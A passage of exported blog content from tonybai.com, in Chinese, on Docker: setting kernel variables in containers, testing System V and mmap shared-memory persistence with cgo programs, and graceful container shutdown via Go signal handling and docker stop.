/etc/my_init.d/00_regen_ssh_host_keys.sh…\nNo SSH host key available. Generating one…\nCreating SSH2 RSA key; this may take some time …\nCreating SSH2 DSA key; this may take some time …\nCreating SSH2 ECDSA key; this may take some time …\nCreating SSH2 ED25519 key; this may take some time …\ninvoke-rc.d: policy-rc.d denied execution of restart.\n*** Running /etc/my_init.d/load_sys_varibles.sh…\nsysctl: setting key \u0026ldquo;kernel.shmmax\u0026rdquo;: Read-only file system\n*** /etc/my_init.d/load_sys_varibles.sh failed with status 255\n*** Killing all processes…\n唉，还是老问题！即便是在my_init中执行，依旧无法逾越Read-only file system，查看Phusion/baseimage的Dockerfile才知道，它也是From ubuntu:14.04的，根不变，上层再怎么折腾也没用。\n换一种容器run方法吧，加上–privileged：\n$ sudo docker run -it –privileged \u0026ldquo;myphusion:v1\u0026rdquo;\n*** Running /etc/my_init.d/00_regen_ssh_host_keys.sh…\nNo SSH host key available. Generating one…\nCreating SSH2 RSA key; this may take some time …\nCreating SSH2 DSA key; this may take some time …\nCreating SSH2 ECDSA key; this may take some time …\nCreating SSH2 ED25519 key; this may take some time …\ninvoke-rc.d: policy-rc.d denied execution of restart.\n*** Running /etc/my_init.d/load_sys_varibles.sh…\n*** Running /etc/rc.local…\n*** Booting runit daemon…\n*** Runit started as PID 102\n这回灵光了。enter到容器里看看设置的值是否生效了：\nroot@9e399f46372a:~#cat /proc/sys/kernel/shmmax\n68719476736\n结果如预期。这样来看phusion/baseimage算是为sysctl -p加载系统变量值提供了一个便利，但依旧无法脱离–privileged，且依旧无法在image中持久化这个设置。\n在Docker github的issue中有人提出建议在Dockerfile中加入类似RUNP这样的带有特权的指令语法，但不知何时才能在Docker中加入这一功能。\n总而言之，基于目前docker官网提供的base image，我们很难找到特别理想的修改系统变量值的方法，除非自己制作base image，这个还没尝试过，待后续继续研究。\n","permalink":"https://tonybai.com/2014/10/14/discussion-on-the-approach-to-modify-system-variables-in-docker/","summary":"\u003cp\u003e探讨完\u003ca href=\"http://tonybai.com/2014/10/12/discussion-on-shared-mem-support-in-docker/\"\u003eDocker对共享内存状态持久化的支持状况\u003c/a\u003e后，我将遗留产品build到一个pre-production image中，测试启动是否OK。很显然，我过于乐观了，\u003ca href=\"http://www.docker.com/\"\u003eDocker\u003c/a\u003e之路并不平坦。我收到了shmget报出的EINVAL错误码，提示参数非法。 shmget的manual对EINVAL错误码的说明如下：\u003c/p\u003e\n\u003cp\u003eEINVAL：\u003cbr\u003e\nA  new  segment  was  to  be  created  and size \u0026lt; SHMMIN or size \u0026gt; SHMMAX, or no new segment was to be created, a segment with given key existed, but size is greater than the size of that segment.\u003c/p\u003e","title":"探讨Docker容器中修改系统变量的方法"},{"content":"我们的遗留系统广泛使用了性能最佳的IPC方式 – 共享内存，而且用到了两种共享内存的实现方式：System V共享内存(shmget、shmat、shmdt)以及Mmap映射Regular File。System V共享内存支持一定程度上的内存数据持久化，即当程序创建共享内存对象后，如果不显式删除或物理主机重启，该IPC对象会一直保留，其中的数据也不会丢 失；mmap映射Regular File的方式支持内存数据持久化到文件中，即便物理主机重启，这部分数据依旧不会丢失，除非显式删除文件。这两个共享内存机制，尤其是其持久化的特性是 我们的系统所依赖的。但是在Docker容器中，这两种共享内存机制依旧能被很好的支持吗？我们通过试验来分析一下。\n一、System V共享内存\n一个启动的Docker容器就是一个拥有了自己的内核名字空间的进程，其pid****、net****、ipc****、mnt****、uts****、user等均与其他进程隔离，对于运行于该容器内的程序而言，它仿佛会觉得它独占了一台“主机”。对于这类“主机”，我们首先来测试一下其中的system v共享内存是否依旧能像物理主机上一样，在程序退出后依旧能保持持久化？在容器退出后能保持么？\n我们先来写两个测试程序，一个用于创建system v共享内存，并写入一些数据，另外一个程序则映射该共享内存并尝试读出内存中的数据。由于Golang目前仍未提供对System V共享内存的高级封装接口，通过syscall包的Syscall调用又太繁琐，因此我们直接使用C代码与Go代码结合的方式实现这两个测试程序。之前写 过一篇名为《Go与C语言互操作》的博文，看不懂下面代码的朋友，可以先阅读一下这篇文章。\n//systemv_shm_wr.go\npackage main\n//#include \u0026lt;sys/types.h\u0026gt;\n//#include \u0026lt;sys/ipc.h\u0026gt;\n//#include \u0026lt;sys/shm.h\u0026gt;\n//#include \u0026lt;stdio.h\u0026gt;\n//\n//#define SHMSZ 27\n//\n//int shm_wr() {\n// char c;\n// int shmid;\n// key_t key;\n// char *shm, *s;\n//\n// key = 5678;\n//\n// if ((shmid = shmget(key, SHMSZ, IPC_CREAT | 0666)) \u0026lt; 0) {\n// return -1;\n// }\n//\n// if ((shm = shmat(shmid, NULL, 0)) == (char *) -1) {\n// return -2;\n// }\n//\n// s = shm;\n// for (c = \u0026lsquo;a\u0026rsquo;; c \u0026lt;= \u0026lsquo;z\u0026rsquo;; c++)\n// *s++ = c;\n// s = NULL;\n//\n// return 0;\n//}\nimport \u0026ldquo;C\u0026rdquo;\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() {\ni := C.shm_wr()\nif i != 0 {\nfmt.Println(\u0026ldquo;SystemV Share Memory Create and Write Error:\u0026rdquo;, i)\nreturn\n}\nfmt.Println(\u0026ldquo;SystemV Share Memory Create and Write Ok\u0026rdquo;)\n}\n//systemv_shm_rd.go\npackage main\n//#include \u0026lt;sys/types.h\u0026gt;\n//#include \u0026lt;sys/ipc.h\u0026gt;\n//#include \u0026lt;sys/shm.h\u0026gt;\n//#include \u0026lt;stdio.h\u0026gt;\n//\n//#define SHMSZ 27\n//\n//int shm_rd() {\n// char c;\n// int shmid;\n// key_t key;\n// char *shm, *s;\n//\n// key = 5678;\n//\n// if ((shmid = shmget(key, SHMSZ, 0666)) \u0026lt; 0) {\n// return -1;\n// }\n//\n// if ((shm = shmat(shmid, NULL, 0)) == (char *) -1) {\n// return -2;\n// }\n//\n// s = shm;\n//\n// int i = 0;\n// for (i = 0; i \u0026lt; SHMSZ-1; i++)\n// printf(\u0026quot;%c \u0026ldquo;, *(s+i));\n// printf(\u0026rdquo;\\n\u0026quot;);\n// s = NULL;\n//\n// return 0;\n//}\nimport \u0026ldquo;C\u0026rdquo;\nimport \u0026ldquo;fmt\u0026rdquo;\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() {\ni := C.shm_rd()\nif i != 0 {\nfmt.Println(\u0026ldquo;SystemV Share Memory Create and Read Error:\u0026rdquo;, i)\nreturn\n}\nfmt.Println(\u0026ldquo;SystemV Share Memory Create and Read Ok\u0026rdquo;)\n}\n我们通过go build构建上面两个程序，得到两个测试用可执行程序：systemv_shm_wr和systemv_shm_rd。下面我们来构建我们的测试用docker image，Dockerfile内容如下：\nFROM centos:centos6\nMAINTAINER Tony Bai bigwhite.cn@gmail.com\nCOPY ./systemv_shm_wr /bin/\nCOPY ./systemv_shm_rd /bin/\n构建Docker image：“shmemtest:v1”：\n$ sudo docker build -t=\u0026ldquo;shmemtest:v1\u0026rdquo; ./\nSending build context to Docker daemon 16.81 MB\nSending build context to Docker daemon\nStep 0 : FROM centos:centos6\n—\u0026gt; 68edf809afe7\nStep 1 : MAINTAINER Tony Bai bigwhite.cn@gmail.com\n—\u0026gt; Using cache\n—\u0026gt; c617b456934a\nStep 2 : COPY ./systemv_shm_wr /bin/\n—\u0026gt; ea59fb767573\nRemoving intermediate container 4ce91720897b\nStep 3 : COPY ./systemv_shm_rd /bin/\n—\u0026gt; 1ceb207b1009\nRemoving intermediate container 7ace7ad53a3f\nSuccessfully built 1ceb207b1009\n启动一个基于该image的容器：\n$ sudo docker run -it \u0026ldquo;shmemtest:v1\u0026rdquo; /bin/bash\n$ sudo docker ps\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n0a2f37bee6eb shmemtest:v1 \u0026ldquo;/bin/bash\u0026rdquo; 28 seconds ago Up 28 seconds elegant_hawking\n进入容器，先后执行systemv_shm_wr和systemv_shm_rd，我们得到如下结果：\nbash-4.1# systemv_shm_wr\nSystemV Share Memory Create and Write Ok\nbash-4.1# systemv_shm_rd\na b c d e f g h i j k l m n o p q r s t u v w x y z\nSystemV Share Memory Create and Read Ok\n在容器运行过程中，SystemV共享内存对象是可以持久化的。systemv_shm_wr退出后，数据依旧得以保留。我们接下来尝试一下重启container后是否还能读出数据：\n$ sudo docker ps\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n0a2f37bee6eb shmemtest:v1 \u0026ldquo;/bin/bash\u0026rdquo; 8 minutes ago Up 8 minutes elegant_hawking $ sudo docker stop 0a2f37bee6eb\n0a2f37bee6eb\n$ sudo docker start 0a2f37bee6eb\n0a2f37bee6eb\n$ sudo docker attach 0a2f37bee6eb\nbash-4.1# systemv_shm_rd\nSystemV Share Memory Create and Read Error: -1\n程序返回-1，显然在shmget时就出错了，系统已经没有了key为\u0026quot;5678\u0026quot;的这个共享内存IPC对象了。也就是说当容器stop时，就好比我们的物理主机关机，docker将该容器对应的共享内存IPC对象删除了。\n从原理上分析，似乎我们也能得出此结论：毕竟Docker container是通过kernel namespace隔离的，容器中的进程在IPC资源申请时需要加入namespace信息。打个比方，如果我们启动容器的进程pid(物理主机视角)是 1234，那么这容器内进程申请的共享内存IPC资源（比如key=5678）的标识应该类似于“1234:5678”这样的形式。重启容器 后，Docker Daemon无法给该容器分配与上次启动相同的pid，因此pid发生了变化，之前容器中的\u0026quot;1234:5678\u0026quot;保留下来也是毫无意义的，还无端占用系 统资源。因此，System V IPC在Docker容器中的运用与物理机有不同，这方面要小心，目前似乎没有很好的方法，也许以后Docker会加入全局IPC，这个我们只能等待。\n二、Mmap映射共享内存\n接下来我们探讨mmap共享内存在容器中的支持情况。mmap常见的有两类共享内存映射方式，一种映射到/dev/zero，另外一种则是映射到 Regular Fiile。前者在程序退出后数据自动释放，后者则保留在映射的文件中。后者对我们更有意义，这次测试的也是后者。\n同样，我们也先来编写两个测试程序。\n//mmap_shm_wr.go\npackage main\n//#include \u0026lt;stdio.h\u0026gt;\n//#include \u0026lt;sys/types.h\u0026gt;\n//#include \u0026lt;sys/mman.h\u0026gt;\n//#include \u0026lt;fcntl.h\u0026gt;\n//\n//#define SHMSZ 27\n//\n//int shm_wr()\n//{\n// char c;\n// char *shm = NULL;\n// char *s = NULL;\n// int fd;\n// if ((fd = open(\u0026quot;./shm.txt\u0026quot;, O_RDWR|O_CREAT, S_IRUSR|S_IWUSR)) == -1) {\n// return -1;\n// }\n//\n// lseek(fd, 500, SEEK_CUR);\n// write(fd, \u0026ldquo;\\0\u0026rdquo;, 1);\n// lseek(fd, 0, SEEK_SET);\n//\n// shm = (char*)mmap(shm, SHMSZ, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);\n// if (!shm) {\n// return -2;\n//\n// }\n//\n// close(fd);\n// s = shm;\n// for (c = \u0026lsquo;a\u0026rsquo;; c \u0026lt;= \u0026lsquo;z\u0026rsquo;; c++) {\n// *(s+(int)(c – \u0026lsquo;a\u0026rsquo;)) = c;\n// }\n// return 0;\n//}\nimport \u0026ldquo;C\u0026rdquo;\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() {\ni := C.shm_wr()\nif i != 0 {\nfmt.Println(\u0026ldquo;Mmap Share Memory Create and Write Error:\u0026rdquo;, i)\nreturn\n}\nfmt.Println(\u0026ldquo;Mmap Share Memory Create and Write Ok\u0026rdquo;)\n}\n//mmap_shm_rd.go\npackage main\n//#include \u0026lt;stdio.h\u0026gt;\n//#include \u0026lt;sys/types.h\u0026gt;\n//#include \u0026lt;sys/mman.h\u0026gt;\n//#include \u0026lt;fcntl.h\u0026gt;\n//\n//#define SHMSZ 27\n//\n//int shm_rd()\n//{\n// char c;\n// char *shm = NULL;\n// char *s = NULL;\n// int fd;\n// if ((fd = open(\u0026quot;./shm.txt\u0026quot;, O_RDONLY)) == -1) {\n// return -1;\n// }\n//\n// shm = (char*)mmap(shm, SHMSZ, PROT_READ, MAP_SHARED, fd, 0);\n// if (!shm) {\n// return -2;\n// }\n//\n// close(fd);\n// s = shm;\n// int i = 0;\n// for (i = 0; i \u0026lt; SHMSZ – 1; i++) {\n// printf(\u0026quot;%c \u0026ldquo;, *(s + i));\n// }\n// printf(\u0026rdquo;\\n\u0026quot;);\n//\n// return 0;\n//}\nimport \u0026ldquo;C\u0026rdquo;\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() {\ni := C.shm_rd()\nif i != 0 {\nfmt.Println(\u0026ldquo;Mmap Share Memory Read Error:\u0026rdquo;, i)\nreturn\n}\nfmt.Println(\u0026ldquo;Mmap Share Memory Read Ok\u0026rdquo;)\n}\n我们通过go build构建上面两个程序，得到两个测试用可执行程序：mmap_shm_wr和mmap_shm_rd。下面我们来构建我们的测试用docker image，Dockerfile内容如下：\nFROM centos:centos6\nMAINTAINER Tony Bai bigwhite.cn@gmail.com\nCOPY ./mmap_shm_wr /bin/\nCOPY ./mmap_shm_rd /bin/\n构建Docker image：“shmemtest:v2”：\n$ sudo docker build -t=\u0026ldquo;shmemtest:v2\u0026rdquo; ./\nSending build context to Docker daemon 16.81 MB\nSending build context to Docker daemon\nStep 0 : FROM centos:centos6\n—\u0026gt; 68edf809afe7\nStep 1 : MAINTAINER Tony Bai bigwhite.cn@gmail.com\n—\u0026gt; Using cache\n—\u0026gt; c617b456934a\nStep 2 : COPY ./mmap_shm_wr /bin/\n—\u0026gt; Using cache\n—\u0026gt; 01e2f6bc7606\nStep 3 : COPY ./mmap_shm_rd /bin/\n—\u0026gt; 0de95503c851\nRemoving intermediate container 0c472e92809f\nSuccessfully built 0de95503c851\n启动一个基于该image的容器：\n$ sudo docker run -it \u0026ldquo;shmemtest:v2\u0026rdquo; /bin/bash\n$ sudo docker ps\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n1182f9eca367 shmemtest:v2 \u0026ldquo;/bin/bash\u0026rdquo; 11 seconds ago Up 11 seconds distracted_elion\n进入容器，先后执行mmap_shm_wr和mmap_shm_rd，我们得到如下结果：\nbash-4.1# mmap_shm_wr\nMmap Share Memory Create and Write Ok\nbash-4.1# mmap_shm_rd\na b c d e f g h i j k l m n o p q r s t u v w x y z\nMmap Share Memory Read Ok\n我们接下来尝试一下重启container后是否还能读出数据：\n$ sudo docker ps\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n1182f9eca367 shmemtest:v2 \u0026ldquo;/bin/bash\u0026rdquo; About a minute ago Up About a minute distracted_elion $ sudo docker stop 1182f9eca367\n1182f9eca367\n$ sudo docker start 1182f9eca367\n1182f9eca367\n$ sudo docker attach 1182f9eca367\nbash-4.1# mmap_shm_rd\na b c d e f g h i j k l m n o p q r s t u v w x y z\nMmap Share Memory Read Ok\n通过执行结果可以看出，通过mmap映射文件方式，共享内存的数据即便在容器重启后依旧可以得到保留。从原理上看，shm.txt是容器内 的一个文件，该文件存储在容器的可写文件系统layer中，从物理主机上看，其位置在/var/lib/docker/aufs/mnt /container_full_id/下，即便容器重启，该文件也不会被删除，而是作为容器文件系统的一部分：\n$ sudo docker inspect -f \u0026lsquo;{{.Id}}\u0026rsquo; 1182f9eca367\n1182f9eca36756219537f9a1c7cd1b62c6439930cc54bc69e87915c5dc8f7b97\n$ sudo ls /var/lib/docker/aufs/mnt/1182f9eca36756219537f9a1c7cd1b62c6439930cc54bc69e87915c5dc8f7b97\nbin dev etc home lib lib64 lost+found media mnt opt proc root sbin selinux shm.txt srv sys tmp usr var\n","permalink":"https://tonybai.com/2014/10/12/discussion-on-shared-mem-support-in-docker/","summary":"\u003cp\u003e我们的遗留系统广泛使用了性能最佳的IPC方式 – \u003ca href=\"http://en.wikipedia.org/wiki/Shared_memory\"\u003e共享内存\u003c/a\u003e，而且用到了两种共享内存的实现方式：System V共享内存(shmget、shmat、shmdt)以及Mmap映射Regular File。System V共享内存支持一定程度上的内存数据持久化，即当程序创建共享内存对象后，如果不显式删除或物理主机重启，该IPC对象会一直保留，其中的数据也不会丢 失；mmap映射Regular File的方式支持内存数据持久化到文件中，即便物理主机重启，这部分数据依旧不会丢失，除非显式删除文件。这两个共享内存机制，尤其是其持久化的特性是 我们的系统所依赖的。但是在\u003ca href=\"http://docker.com/\"\u003eDocker\u003c/a\u003e容器中，这两种共享内存机制依旧能被很好的支持吗？我们通过试验来分析一下。\u003c/p\u003e","title":"探讨docker容器对共享内存的支持情况"},{"content":"近期在试验如何将我们的产品部署到docker容器中去，这其中涉及到一个技术环节，那就是如何让docker容器退出时其内部运行的服务程序也 可以优雅的退出。所谓优雅退出，指的就是程序在退出前有清理资源（比如关闭文件描述符、关闭socket），保存必要中间状态，持久化内存数据 （比如将内存中的数据flush到文件中）的机会。docker作为目前最火的轻量级虚拟化技术，其在后台服务领域的应用是极其广泛的，其设计者 在程序优雅退出方面是有考虑的。下面我们由简单到复杂逐一考量一下。\n一、优雅退出的原理\n对于服务程序而言，一般都是以daemon形式运行在后台的。通知这些服务程序退出需要使用到系统的signal机制。一般服务程序都会监听某个 特定的退出signal，比如SIGINT、SIGTERM等（通过kill -l命令你可以查看到几十种signal）。当我们使用kill + 进程号时，系统会默认发送一个SIGTERM给相应的进程。该进程通过signal handler响应这一信号，并在这个handler中完成相应的“优雅退出”操作。\n与“优雅退出”对立的是“暴力退出”，也就是我们常说的使用kill -9，也就是kill -s SIGKILL + 进程号，这个行为不会给目标进程任何时间空隙，而是直接将进程杀死，无论进程当前在做何种操作。这种操作常常导致“不一致”状态的出现。SIGKILL这 个信号比较特殊，进程无法有效监听该信号，无法有效针对该信号设置handler，无法改变其信号的默认处理行为。\n**二、**测试用“服务程序”\n为了测试docker容器对优雅退出的支持，我们编写如下“服务程序”用于放在docker容器中运行：\n//dockerapp1.go\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nimport \u0026ldquo;time\u0026rdquo;\nimport \u0026ldquo;os\u0026rdquo;\nimport \u0026ldquo;os/signal\u0026rdquo;\nimport \u0026ldquo;syscall\u0026rdquo;\ntype signalHandler func(s os.Signal, arg interface{})\ntype signalSet struct {\nm map[os.Signal]signalHandler\n}\nfunc signalSetNew() *signalSet {\nss := new(signalSet)\nss.m = make(map[os.Signal]signalHandler)\nreturn ss\n}\nfunc (set *signalSet) register(s os.Signal, handler signalHandler) {\nif _, found := set.m[s]; !found {\nset.m[s] = handler\n}\n}\nfunc (set *signalSet) handle(sig os.Signal, arg interface{}) (err error) {\nif _, found := set.m[sig]; found {\nset.m[sig](sig, arg)\nreturn nil\n} else {\nreturn fmt.Errorf(\u0026ldquo;No handler available for signal %v\u0026rdquo;, sig)\n}\npanic(\u0026ldquo;won\u0026rsquo;t reach here\u0026rdquo;)\n}\nfunc main() {\ngo sysSignalHandleDemo()\ntime.Sleep(time.Hour) // make the main goroutine wait!\n}\nfunc sysSignalHandleDemo() {\nss := signalSetNew()\nhandler := func(s os.Signal, arg interface{}) {\nfmt.Printf(\u0026ldquo;handle signal: %v\\n\u0026rdquo;, s)\nif s == syscall.SIGTERM {\nfmt.Printf(\u0026ldquo;signal termiate received, app exit normally\\n\u0026rdquo;)\nos.Exit(0)\n}\n}\nss.register(syscall.SIGINT, handler)\nss.register(syscall.SIGUSR1, handler)\nss.register(syscall.SIGUSR2, handler)\nss.register(syscall.SIGTERM, handler)\nfor {\nc := make(chan os.Signal)\nvar sigs []os.Signal\nfor sig := range ss.m {\nsigs = append(sigs, sig)\n}\nsignal.Notify(c)\nsig := \u0026lt;-c\nerr := ss.handle(sig, nil)\nif err != nil {\nfmt.Printf(\u0026ldquo;unknown signal received: %v, app exit unexpectedly\\n\u0026rdquo;, sig)\nos.Exit(1)\n}\n}\n}\n关于Go语言对系统Signal的处理，可以参考《Go中的系统Signal处理》一文。\n三、制作测试用docker image\n在《 Ubuntu Server 14.04安装docker》一文中，我们完成了在ubuntu 14.04上安装docker的步骤。要制作测试用docker image，我们首先需要pull一个base image。我们以CentOS6.5为例：\n在Ubuntu 14.04上执行：\nsudo docker pull centos:centos6\ndocker会自动从官方仓库下载一个制作好的docker image。下载成功后，我们可以run一下试试，像这样：\n$\u0026gt; sudo docker run -t -i centos:centos6 /bin/bash\n我们查看一下CentOS6的小版本：\n$\u0026gt; cat /etc/centos-release\nCentOS release 6.5 (Final)\n这是一个极其精简的CentOS，各种工具均未安装：\nbash-4.1# telnet\nbash: telnet: command not found\nbash-4.1# ssh\nbash: ssh: command not found\nbash-4.1# ftp\nbash: ftp: command not found\nbash-4.1# echo $PATH\n/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n如果你要安装一些必要的工具，可以直接使用yum install，默认的base image已经将yum配置好了，可以直接使用。如果通过公司代理访问外部网络，别忘了先export http_proxy。另外docker直接使用宿主机的/etc/resolv.conf作为容器的DNS，我们也无需额外设置DNS。\n接下来，我们就制作我们的第一个测试用image。安装官方推荐的Best Practice，我们使用Dockerfile来bulid一个测试用image。步骤如下：\n- 建立~/ImagesFactory目录\n- 将构建好的dockerapp1拷贝到~/ImagesFactory目录下\n- 进入~/ImagesFactory目录，创建Dockerfile文件，Dockerfile内容如下：\nFROM centos:centos6\nMAINTAINER Tony Bai bigwhite.cn@gmail.com\nCOPY ./dockerapp1 /bin\nCMD /bin/dockerapp1\n- 执行docker build，结果如下：\n$ sudo docker build -t=\u0026ldquo;test:v1\u0026rdquo; ./\nSending build context to Docker daemon 7.496 MB\nSending build context to Docker daemon\nStep 0 : FROM centos:centos6\n—\u0026gt; 68edf809afe7\nStep 1 : MAINTAINER Tony Bai bigwhite.cn@gmail.com\n—\u0026gt; Using cache\n—\u0026gt; c617b456934a\nStep 2 : COPY ./dockerapp1 /bin\n2014/10/09 16:05:25 lchown /var/lib/docker/aufs/mnt/fb0e864d3f07ca17ef8b6b69f034728e1f1158fd3f9c83fa48243054b2f26958/bin/dockerapp1: not a directory\n居然build失败，提示什么not a directory。于是各种Search，终于发现问题所在，原来是“COPY ./dockerapp1 /bin”这条命令错了，少了个“/”，将\u0026quot; /bin\u0026quot;改为“/bin/”就OK了，Docker真是奇怪啊，这块明显应该做得更兼容些。新的Dockerfile如下：\nFROM centos:centos6\nMAINTAINER Tony Bai bigwhite.cn@gmail.com\nCOPY ./dockerapp1 /bin/\nCMD /bin/dockerapp1\n构建结果如下：\n$ sudo docker build -t=\u0026ldquo;test:v1\u0026rdquo; ./\nSending build context to Docker daemon 7.496 MB\nSending build context to Docker daemon\nStep 0 : FROM centos:centos6\n—\u0026gt; 68edf809afe7\nStep 1 : MAINTAINER Tony Bai bigwhite.cn@gmail.com\n—\u0026gt; Using cache\n—\u0026gt; c617b456934a\nStep 2 : COPY ./dockerapp1 /bin/\n—\u0026gt; 20c3783c42ab\nRemoving intermediate container cab639ab4321\nStep 3 : CMD /bin/dockerapp1\n—\u0026gt; Running in 31875d3c37f9\n—\u0026gt; 21a720a808a7\nRemoving intermediate container 31875d3c37f9\nSuccessfully built 21a720a808a7\n$ sudo docker images\nREPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE\ntest v1 21a720a808a7 59 seconds ago 214.6 MB\n四、第一个测试容器\n我们基于image \u0026ldquo;test:v1\u0026quot;启动一个测试容器：\n$ sudo docker run -d \u0026ldquo;test:v1\u0026rdquo;\ndaf3ae88fec23a31cde9f6b9a3f40057953c87b56cca982143616f738a84dcba\n$ sudo docker ps\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\ndaf3ae88fec2 test:v1 \u0026ldquo;/bin/sh -c /bin/doc 17 seconds ago Up 16 seconds condescending_sammet\n通过docker run命令，我们基于image\u0026quot;test:v1\u0026quot;启动了一个容器。通过docker ps命令可以看到容器成功启动，容器id：daf3ae88fec2，别名为：condescending_sammet。\n根据Dockerfile我们知道，容器启动后将执行\u0026rdquo;/bin/dockerapp1\u0026quot;这个程序，dockerapp1退出，容器即退出。 run命令的\u0026rdquo;-d\u0026quot;选项表示容器将以daemon的形式运行，我们在前台无法看到容器的输出。那么我们怎么查看容器的输出呢？我们可以通过 docker logs + 容器id的方式查看容器内应用的标准输出或标准错误。我们也可以进入容器来查看。\n进入容器有多种方法，比如用sudo docker attach daf3ae88fec2。attach后，就好比将daemon方式运行的容器 拿到了前台，你可以Ctrl + C一下，可以看到如下dockerapp1的输出:\n^Chandle signal: interrupt\n另外一种方式是利用nsenter工具进入我们容器的namespace空间。ubuntu 14.04下可以通过如下方式安装该工具：\n$ wget https://www.kernel.org/pub/linux/utils/util-linux/v2.24/util-linux-2.24.tar.gz; tar xzvf util-linux-2.24.tar.gz\n$ cd util-linux-2.24\n$ ./configure –without-ncurses \u0026amp;\u0026amp; make nsenter\n$ sudo cp nsenter /usr/local/bin\n安装后，我们通过如下方式即可进入上面的容器：\n$ echo $(sudo docker inspect –format \u0026ldquo;{{ .State.Pid }}\u0026rdquo; daf3ae88fec2)\n5494\n$ sudo nsenter –target 5494 –mount –uts –ipc –net –pid\n-bash-4.1# ps -ef\nUID PID PPID C STIME TTY TIME CMD\nroot 1 0 0 09:20 ? 00:00:00 /bin/dockerapp1\nroot 16 0 0 09:32 ? 00:00:00 -bash\nroot 27 16 0 09:32 ? 00:00:00 ps -ef\n-bash-4.1#\n进入容器后通过ps命令可以看到正在运行的dockerapp1程序。在容器内，我们可以通过kill来测试dockerapp1的运行情况：\n-bash-4.1# kill -s SIGINT 1\n通过前面的attach窗口，我们可以看到dockerapp1输出:\nhandle signal: interrupt\n如果你发送SIGTERM信号，那么dockerapp1将终止运行，容器也就停止了。\n-bash-4.1# kill 1\nattach窗口显示：\nsignal termiate received, app exit normally\n我们可以看到容器启动后默认执行的时Dockerfile中的CMD命令，如果Dockerfile中有多行CMD命令，Docker在启动容器 时只会执行最后一条CMD命令。如果在docker run中指定了命令，docker则会执行命令行中的命令而不会执行dockerapp1，比如：\n$ sudo docker run -t -i \u0026ldquo;test:v1\u0026rdquo; /bin/bash\nbash-4.1#\n这里我们看到直接执行的时bash，dockerapp1并未执行。\n五、docker stop的行为\n我们先来看看docker stop的manual：\n$ sudo docker stop –help\nUsage: docker stop [OPTIONS] CONTAINER [CONTAINER\u0026hellip;]\nStop a running container by sending SIGTERM and then SIGKILL after a grace period\n-t, –time=10 Number of seconds to wait for the container to stop before killing it. Default is 10 seconds.\n可以看出当我们执行docker stop时，docker会首先向容器内的当前主程序发送一个SIGTERM信号，用于容器内程序的退出。如果容器在收到SIGTERM后没有马上退出， 那么stop命令会在等待一段时间（默认是10s）后，再向容器发送SIGKILL信号，将容器杀死，变为退出状态。\n我们来验证一下docker stop的行为。启动刚才那个容器：\n$ sudo docker start daf3ae88fec2\ndaf3ae88fec2\nattach到容器daf3ae88fec2\n$ sudo docker attach daf3ae88fec2\n新打开一个窗口，执行docker stop命令：\n$ sudo docker stop daf3ae88fec2\ndaf3ae88fec2\n可以看到attach窗口输出：\nhandle signal: terminated\nsignal termiate received, app exit normally\n通过docker ps查看，发现容器已经退出。\n也许通过上面的例子还不能直观的展示stop命令的两阶段行为，因为dockerapp1收到SIGTERM后直接就退出 了，stop命令无需等待容器慢慢退出，也无需发送SIGKILL。我们改造一下dockerapp1这个程序。\n我们复制一下dockerapp1.go为dockerapp2.go，编辑dockerapp2.go，将handler中对SIGTERM的 处理注释掉，其他不变：\nhandler := func(s os.Signal, arg interface{}) {\nfmt.Printf(\u0026ldquo;handle signal: %v\\n\u0026rdquo;, s)\n/*\nif s == syscall.SIGTERM {\nfmt.Printf(\u0026ldquo;signal termiate received, app exit normally\\n\u0026rdquo;)\nos.Exit(0)\n}\n*/\n}\n我们使用dockerapp2来构建一个新image：test:v2，将Dockerfile中得dockerapp1换成 dockerapp2即可。\n$ sudo docker build -t=\u0026ldquo;test:v2\u0026rdquo; ./\nSending build context to Docker daemon 9.369 MB\nSending build context to Docker daemon\nStep 0 : FROM centos:centos6\n—\u0026gt; 68edf809afe7\nStep 1 : MAINTAINER Tony Bai bigwhite.cn@gmail.com\n—\u0026gt; Using cache\n—\u0026gt; c617b456934a\nStep 2 : COPY ./dockerapp2 /bin/\n—\u0026gt; 27cd613a9bd7\nRemoving intermediate container 07c760b6223b\nStep 3 : CMD /bin/dockerapp2\n—\u0026gt; Running in 1aac086452a7\n—\u0026gt; 82eb876fefd2\nRemoving intermediate container 1aac086452a7\nSuccessfully built 82eb876fefd2\n利用image \u0026ldquo;test:v2\u0026quot;创建一个容器来测试stop。\n$ sudo docker run -d \u0026ldquo;test:v2\u0026rdquo;\n29f3ec1af3c355458cbbd802a5e8a53da28e9f51a56ce822c7bba2a772edceac\n$ sudo docker ps\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n29f3ec1af3c3 test:v2 \u0026ldquo;/bin/sh -c /bin/doc 7 seconds ago Up 6 seconds romantic_feynman\nAttach到这个容器并观察，在另外一个窗口stop该container。我们在attach窗口只看到如下输出：\nhandle signal: terminated\nstop命令的执行没有立即返回，而是等待容器退出。等待10s后，容器退出，stop命令执行结束。从这个例子我们可以明显看出stop的两阶 段行为。\n如果我们以sudo docker run -i -t \u0026ldquo;test:v1\u0026rdquo; /bin/bash形式启动容器，那stop命令会将SIGTERM发送给bash这个程序，即使你通过nsenter进入容 器，启动了dockerapp1，dockerapp1也不会收到SIGTERM，dockerapp1会随着容器的退出而被强行终止，就像被 kill -9了一样。\n六、多进程容器服务程序\n上面无论是dockerapp1还是dockerapp2，都是一个单进程服务程序。如果我们在容器内执行一个多进程程序，我们该如何优雅退出 呢？我们先来编写一个多进程的服务程序dockerapp3：\n在dockerapp1.go的基础上对main和sysSignalHandleDemo进行修改形成dockerapp3.go，修改后这两 个函数的代码如下：\n//dockerapp3.go\n… …\nfunc main() {\ngo sysSignalHandleDemo()\npid, _, err := syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0)\nif err != 0 {\nfmt.Printf(\u0026ldquo;err fork process, 